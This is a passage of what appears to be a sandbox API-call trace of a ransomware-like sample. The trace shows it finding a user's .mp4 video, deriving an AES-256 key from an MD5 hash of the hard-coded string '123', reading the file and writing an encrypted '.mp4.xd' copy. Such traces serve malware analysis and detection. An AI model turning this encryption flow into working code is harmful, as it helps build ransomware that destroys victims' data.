InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.437] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.437] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.437] CloseHandle (hObject=0x0) returned 0 [0068.437] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.437] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0068.437] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0068.438] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.438] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.438] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.438] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.438] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.438] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.438] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0068.438] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.438] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.438] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0068.438] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.438] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.438] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.438] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.438] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.439] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0068.439] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0068.439] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0068.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164dfb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0068.439] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0068.439] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0068.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.440] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0068.440] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.440] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.440] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.440] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.441] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0068.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.441] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.441] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.441] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.441] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.441] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.441] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.441] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.441] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.441] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.441] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.441] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.441] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.441] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.441] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.441] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0068.442] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0068.442] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0068.442] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.442] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.442] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.442] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.460] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0068.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.460] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.461] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.461] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0068.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0068.461] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0068.461] CryptHashData (hHash=0x164c8b0, pbData=0x1629670, dwDataLen=0x3, dwFlags=0x1) returned 1 [0068.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.461] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.461] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.461] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.461] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.461] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621678, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0068.462] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0068.462] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0068.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.462] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.462] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0068.462] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0068.463] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0068.463] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0068.463] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.463] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.463] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.463] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.463] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.463] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\rcbgox5pvypv.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0068.463] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.463] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0068.463] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.463] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.463] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.464] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv")) returned 0x10 [0068.464] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\rcbgox5pvypv.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0068.479] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.479] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.479] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.479] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.482] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0068.482] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0068.484] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x2e63, lpOverlapped=0x0) returned 1 [0068.484] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0068.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.489] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0068.491] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.491] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.491] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0068.491] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.491] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0068.491] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.491] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.492] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.492] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0068.492] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0068.492] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0068.492] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629670, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629670*=0x6610, 